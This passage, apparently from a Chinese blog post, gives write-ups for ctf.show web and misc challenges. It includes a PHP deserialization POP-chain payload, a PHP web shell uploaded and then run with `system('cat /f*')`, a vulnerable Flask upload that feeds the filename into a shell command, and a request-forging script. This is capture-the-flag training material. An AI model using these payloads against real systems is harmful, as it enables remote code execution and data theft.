bsp;echo&nbsp;\"\u4f60\u4ee5\u4e3a\u6211\u8fd9\u4e48\u8f9b\u82e6\u6765\u8fd9\u91cc\u771f\u7684\u662f\u4e3a\u4e86\u8fd9\u6761\u81ed\u725b\u5417?\u662f\u4e3a\u4e86\u4f60\u8fd9\u4e2a\u6ca1\u826f\u5fc3\u7684\u81ed\u7334\u5b50\u554a!\\n\";\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}\n&nbsp;&nbsp;&nbsp;&nbsp;}\n&nbsp;&nbsp;&nbsp;&nbsp;\n&nbsp;&nbsp;&nbsp;&nbsp;public&nbsp;function&nbsp;__toString(){\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$this-&gt;call();\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;\"\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t----\".$this-&gt;nickname;\n&nbsp;&nbsp;&nbsp;&nbsp;}\n}\n\nif&nbsp;(isset($_GET&#91;'code'])){\n&nbsp;&nbsp;&nbsp;&nbsp;unserialize($_GET&#91;'code']);\n\n}else{\n&nbsp;&nbsp;&nbsp;&nbsp;$a=new&nbsp;Ion_Fan_Princess();\n&nbsp;&nbsp;&nbsp;&nbsp;echo&nbsp;$a;\n}<\/code><\/pre>\n\n\n\n<p>\u7b80\u5355\u7684\u6279\u7206\uff0c\u597d\u4e45\u6ca1\u89c1\u8fc7\u8fd9\u4e48\u6df3\u6734\u7684pop\u9898\u4e86\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>Moon::__wakeup()\n\u2193\u2193\u2193\nIon_Fan_Princess::__toString()\n\u2193\u2193\u2193\nIon_Fan_Princess::call()<\/code><\/pre>\n\n\n\n<pre class=\"wp-block-code\"><code>&lt;?php\nclass Moon{\n        public $name;\n}\nclass Ion_Fan_Princess{\n        public $nickname=\"\u5c0f\u751c\u751c\";\n}\n$a=new Moon();\n$a-&gt;name=new Ion_Fan_Princess();\necho urlencode(serialize($a));\n#?code=O%3A4%3A%22Moon%22%3A1%3A%7Bs%3A4%3A%22name%22%3BO%3A16%3A%22Ion_Fan_Princess%22%3A1%3A%7Bs%3A8%3A%22nickname%22%3Bs%3A9%3A%22%E5%B0%8F%E7%94%9C%E7%94%9C%22%3B%7D%7D<\/code><\/pre>\n\n\n\n<h2 class=\"wp-block-heading\">LSB\u63a2\u59ec<\/h2>\n\n\n\n<pre class=\"wp-block-code\"><code># !\/usr\/bin\/env python\n# -*-coding:utf-8 -*-\n\"\"\"\n# File       : app.py\n# Time       \uff1a2022\/10\/20 15:16\n# Author     \uff1ag4_simon\n# version    \uff1apython 3.9.7\n# Description\uff1aTSTEG-WEB\n# flag is in \/app\/flag.py\n\"\"\"\nfrom flask import *\nimport os\n#\u521d\u59cb\u5316\u5168\u5c40\u53d8\u91cf\napp = Flask(__name__)\n@app.route('\/', methods=&#91;'GET'])\ndef index():    \n    return render_template('upload.html')\n@app.route('\/upload', methods=&#91;'GET', 'POST'])\ndef upload_file():\n    if request.method == 'POST':\n        try:\n            f = request.files&#91;'file']\n            f.save('upload\/'+f.filename)\n            cmd=\"python3 tsteg.py upload\/\"+f.filename\n            result=os.popen(cmd).read()\n            data={\"code\":0,\"cmd\":cmd,\"result\":result,\"message\":\"file uploaded!\"}\n            return jsonify(data)\n        except:\n            data={\"code\":1,\"message\":\"file upload error!\"}\n            return jsonify(data)\n    else:\n        return render_template('upload.html')\n@app.route('\/source', methods=&#91;'GET'])\ndef show_source():\n    return render_template('source.html')\nif __name__ == '__main__':\n    app.run(host='0.0.0.0',port=80,debug=False)<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2022\/12\/1-92-1024x349.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"349\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2022\/12\/1-92-1024x349.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-707\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2022\/12\/2-16-1024x350.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"350\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2022\/12\/2-16-1024x350.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-708\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<h2 class=\"wp-block-heading\">Is_Not_Obfuscate<\/h2>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2022\/12\/1-80-1024x252.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"252\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2022\/12\/1-80-1024x252.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-686\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2022\/12\/1-81-1024x259.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"259\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2022\/12\/1-81-1024x259.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-687\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<pre class=\"wp-block-code\"><code>eJwNkze2o0AABA9EAAI0gmADGGEGEE74DI\/w3p1+\/wX69euqzpVDJ2a\/GkWO4z4QQpnTUq9P5fFd3Uu+YvM2ht+ZXSvYiLXq0o8zaUZ\/KSKHeeauPge1HS1rQOaCRvmX5oevKRQajpkc1lMgFhD9uJCH4CSDtZnx8zALzJLhLR2K+WAbhIjf62yY9EFNAfOklJvHScguku8Y5yhtuZSeNGY1vr+NHn6Jn3MYCnm\/z9GbI9TH0XZfPPoqqZRrKo48Gdz+odPf29M09uAXmYMftuX5lbIg586dsj8IPGvx3sRUZROiNLXSiM4s1dil6jpvB8cst8uk6ftkZcIF9tF4N0l7mIhew6On6LVPiWk7YaFYcBSI+CLjlUx0heeixgqiWcRtNyHMfs64sx7oVEPY4ZVZg\/EmgnR+x6othXTZ2ZGQsEYvRa\/U1LaK\/4D7Op3ZKrKFnzAs01qSCbbf+P097nH5uUElYiGbytryRvxAe4t1V5PA2dkKlweEANhJ+DU5vzz0+doHA+3opUlU80ol9Ghxas7B3bayW892QCULlB3LuNEEaS2mp1LoXm8dTJAZgM3BGfCHNYbkODF0DqNXrFCMswdFjb9cCnMokKdNZnLUubhW0yA4h807ywaHFZvPxCuG05XdxV6nLiZapgdgHjFpXFbnrwz9LIzLCGMw+F7BHMJPheaGD3faUo71nCiV6QWQu0VW\/O2DvG+eubaq5t1a5Y3tYJmti6soht26kuF7jUUg+vZz3guJPIhqEvujvCubvp9WFznqRBETu6RM8yssRUdkXOcelo3bvnM3onXcf9+kQvcSUbuwuEnWHYzn16\/ewTo+gVIqv0+DNJC0YUGs9kWnS2+1sAvpdp6qe46VGHNv5Ehm8XNg9SPQyrFYwqRuQZZ\/r2muD0WE4G5qRRQ8dnmkgxTVF7Zh61\/yvmis14AVf3UwjoHywgVs7MNevg\/tCL4JwsgHx6FLo0CANOoThXQcpMmu1ZcY+MB7L5c4S+5arvpFKn\/GN4KvCEWYZ+r7inzI+ng3O1T0eaaqFmy63HfCz4xYWYn4PFjC7ukhBJfY7E+fPm6bO7\/jSe+2SuGuZ5Crxj8yPiLLA1h61snzuxvqfM0ulqNmp\/SzwQLyo5N5HVZEVzMdqY7RiEqT6\/FOLji7N\/7E3c+8ZLOGGQcDJMM5FARuDOfYyh09+M+I1Hdc+bCze4S0TuOa3j7orHPzP\/BLQQLKt6c4cLZ42QbgJwmpowDmVjo\/R6dyCuJbWwKGS8BVtzxfh2YhYu+r1n7mrY7nPTxszI6w\/TWAErJEBVZwXlj33RDqfi+u45uVP292vZOCDP0RHKuVL20QeMwhqsY47fQ7ZuLeKP\/9+w8pT7oT <\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2022\/12\/1-82-1024x611.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"611\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2022\/12\/1-82-1024x611.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-688\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p>\u6539\u5b8c\u524d\u7aef\u70b9\u6267\u884c\u5c31\u80fd\u89e3\u5bc6\u4e86<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2022\/12\/1-83-1024x576.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"576\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2022\/12\/1-83-1024x576.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-689\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<pre class=\"wp-block-code\"><code>Anything is good?Please test it. &lt;?php\nheader(\"Content-Type:text\/html;charset=utf-8\");\ninclude&nbsp;'lib.php';\nif(!is_dir('.\/plugins\/')){\n&nbsp;&nbsp;&nbsp;&nbsp;@mkdir('.\/plugins\/',&nbsp;0777);\n}\n\/\/Test&nbsp;it&nbsp;and&nbsp;delete&nbsp;it&nbsp;\uff01\uff01\uff01\n\/\/\u6d4b\u8bd5\u6267\u884c\u52a0\u5bc6\u540e\u7684\u63d2\u4ef6\u4ee3\u7801\nif($_GET&#91;'action']&nbsp;===&nbsp;'test')&nbsp;{\n&nbsp;&nbsp;&nbsp;&nbsp;echo&nbsp;'Anything&nbsp;is&nbsp;good?Please&nbsp;test&nbsp;it.';\n&nbsp;&nbsp;&nbsp;&nbsp;@eval(decode($_GET&#91;'input']));\n}\n\nini_set('open_basedir',&nbsp;'.\/plugins\/');\nif(!empty($_GET&#91;'action'])){\n&nbsp;&nbsp;&nbsp;&nbsp;switch&nbsp;($_GET&#91;'action']){\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;case&nbsp;'pull':\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$output&nbsp;=&nbsp;@eval(decode(file_get_contents('.\/plugins\/'.$_GET&#91;'input'])));\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;echo&nbsp;\"pull&nbsp;success\";\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;break;\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;case&nbsp;'push':\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$input&nbsp;=&nbsp;file_put_contents('.\/plugins\/'.md5($_GET&#91;'output'].'youyou'),&nbsp;encode($_GET&#91;'output']));\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;echo&nbsp;\"push&nbsp;success\";\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;break;\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;default:\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;die('hacker!');\n&nbsp;&nbsp;&nbsp;&nbsp;}\n}\n\n?&gt;<\/code><\/pre>\n\n\n\n<p>\u5229\u7528\u597dpush\u548cpull\u5373\u53ef\uff0c\u5148\u7528push\u4f20\u9a6c\uff0c\u518d\u7528pull\u6267\u884c\u5b83<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>?action=push&amp;output=&lt;?php eval($_GET&#91;1]);?&gt;<\/code><\/pre>\n\n\n\n<pre class=\"wp-block-code\"><code>?action=pull&amp;input=d6e1f0ec8980b49f6061227495a77a44&amp;1=system(\"cat \/f*\");\n#d6e1f0ec8980b49f6061227495a77a44 \u4e3a &lt;?php eval($_GET&#91;1]);?&gt; youyou\u7684md5\u503c\uff1b<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2022\/12\/1-84-1024x546.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"546\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2022\/12\/1-84-1024x546.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-690\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<h2 class=\"wp-block-heading\">\u9f99\u73e0NFT<\/h2>\n\n\n\n<p>\u6ca1\u592a\u61c2\uff0c<a href=\"https:\/\/www.xl-bit.cn\/1042.html\">\u53c2\u8003<\/a><\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>import requests\nimport json\nimport base64\nimport random\nurl='http:\/\/18a60993-f1a3-4ba2-87e2-05d8deae3763.challenge.ctf.show\/'\n\n\ns=requests.session()\nusername=str(random.randint(1,100000))\nprint(username)\nr=s.get(url+'?username='+username)\nresponses=&#91;]\n\nfor i in range(10):\n        r=s.get(url+'find_dragonball')\n        responses.append(json.loads(r.text))\n\nfor item in responses:\n        data=json.dumps({'player_id':item&#91;'player_id'],'dragonball':item&#91;'dragonball'],'round_no':item&#91;'round_no'],'time':item&#91;'time']})\n        miwen=base64.b64decode(item&#91;'address'])\n        round_no=item&#91;'round_no']\n        if round_no in &#91;str(i) for i in range(1,8)]:\n                fake_address=miwen&#91;:64]+miwen&#91;80:]\n                fake_address=base64.b64encode(fake_address).decode()\n                r=s.get(url+'get_dragonball',params={\"address\":fake_address})\n\nr=s.get(url+'flag')\nprint(r.text)<\/code><\/pre>\n\n\n\n<h2 class=\"wp-block-heading\">\u65e0\u4e00\u5e78\u514d_FIXED<\/h2>\n\n\n\n<pre class=\"wp-block-code\"><code>&lt;?php\ninclude&nbsp;\"flag.php\";\nhighlight_file(__FILE__);\n\nif&nbsp;(isset($_GET&#91;'0'])){\n&nbsp;&nbsp;&nbsp;&nbsp;$arr&#91;$_GET&#91;'0']]=1;\n&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;($arr&#91;]=1){\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;die(\"nonono!\");\n&nbsp;&nbsp;&nbsp;&nbsp;}\n&nbsp;&nbsp;&nbsp;&nbsp;else{\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;die($flag);\n&nbsp;&nbsp;&nbsp;&nbsp;}\n}\n?&gt; <\/code><\/pre>\n\n\n\n<p>revenage\u7248\u672c\u3002$arr[]=1\u610f\u601d\u662f\u5728\u6570\u7ec4\u4e2d\u8ffd\u52a0\u4e00\u4e2a\u6570\u5e76\u4e14\u8d4b\u503c\u4e3a1\uff0c\u6bd4\u5982\u6570\u7ec4\u79cd\u53ea\u67090\uff0c1\uff0c2\uff0c\u4ed6\u5c31\u4f1a\u8d4b\u503c\u8ba9$arr[3]=1\uff0c\u6240\u4ee5\u6c38\u771f\u4e86\uff0c\u6240\u4ee5\u6211\u4eec\u5f97\u8ba9\u5b83\u5931\u6548\u3002\u8003\u70b9\u662f\u7d22\u5f15\u6570\u7ec4\u6700\u5927\u4e0b\u6807\u7b49\u4e8e\u6700\u5927int\u6570\uff0c\u5bf9\u5176\u8ffd\u52a0\u4f1a\u5bfc\u81f4\u6574\u578b\u6570\u6ea2\u51fa\uff0c\u8fdb\u800c\u5f15\u8d77\u8ffd\u52a0\u5931\u8d25\uff0c32\u4f4d\u6700\u5927\u662f2<sup>31<\/sup>-1\uff0c64\u4f4d\u662f2<sup>63<\/sup>-1\uff0c\u4e5f\u5c31\u662f2147483647\u4e0e9223372036854775807\uff0c\u6240\u4ee5\u8f93\u5165?0=9223372036854775807\u5373\u53ef<\/p>\n\n\n\n<h1 class=\"wp-block-heading\">MISC<\/h1>\n\n\n\n<h2 class=\"wp-block-heading\">\u56fe\u7247\u7bc7(\u57fa\u7840\u64cd\u4f5c)<\/h2>\n\n\n\n<h2 class=\"wp-block-heading\">misc1<\/h2>\n\n\n\n<p>\u56fe\u7247\u91cc\u5c31\u662fflag\uff0c\u8bc6\u522b\u4e00\u4e0b\u6587\u5b57\u5c31\u884c\u4e86<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">misc2<\/h2>\n\n\n\n<p>\u9644\u4ef6\u662f\u4e00\u4e2atxt\uff0c\u5185\u5bb9\u4e00\u770b\u5c31\u77e5\u9053\u5176\u5b9e\u662f\u4e2apng\uff0c\u6539\u540e\u7f00\u6210png\u7136\u540e\u5c31\u662fflag\u4e86<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">misc3<\/h2>\n\n\n\n<p>bpg\u56fe\u7247\uff0c\u6b63\u5e38\u4e0d\u80fd\u6253\u5f00\uff0c\u4e0b\u8f7d\u4e2a\u53ef\u4ee5\u8bfb\u7684\u8f6f\u4ef6\uff1ahttps:\/\/bellard.org\/bpg\/<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>bpgview.exe misc3.bpg<\/code><\/pre>\n\n\n\n<h2 class=\"wp-block-heading\">misc4<\/h2>\n\n\n\n<p>\u9644\u4ef6\u516d\u4e2a\u6587\u672c\u8fd8\u6709\u4e00\u4e2a\u6ca1\u540e\u7f00\u3002<\/p>\n\n\n\n<p>\u4e00\u773cpng\uff0c\u6539\u540e\u7f00\u4e3apng<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/05\/1-12-1024x597.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"597\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/05\/1-12-1024x597.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-1754\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p>\u4e00\u773cjpg<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/05\/1-13-1024x595.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"595\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/05\/1-13-1024x595.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-1755\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p>\u4e00\u773cbmp<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/05\/1-14-1024x223.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"223\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/05\/1-14-1024x223.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-1756\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p>\u4e00\u773cgif<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/05\/1-15-1024x382.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"382\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/05\/1-15-1024x382.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-1757\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p>tif\u56fe\u7247\uff0c\u6ca1\u89c1\u8fc7<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/05\/1-16-1024x490.png'><img class=\"lazyload lazyload-style-1\" 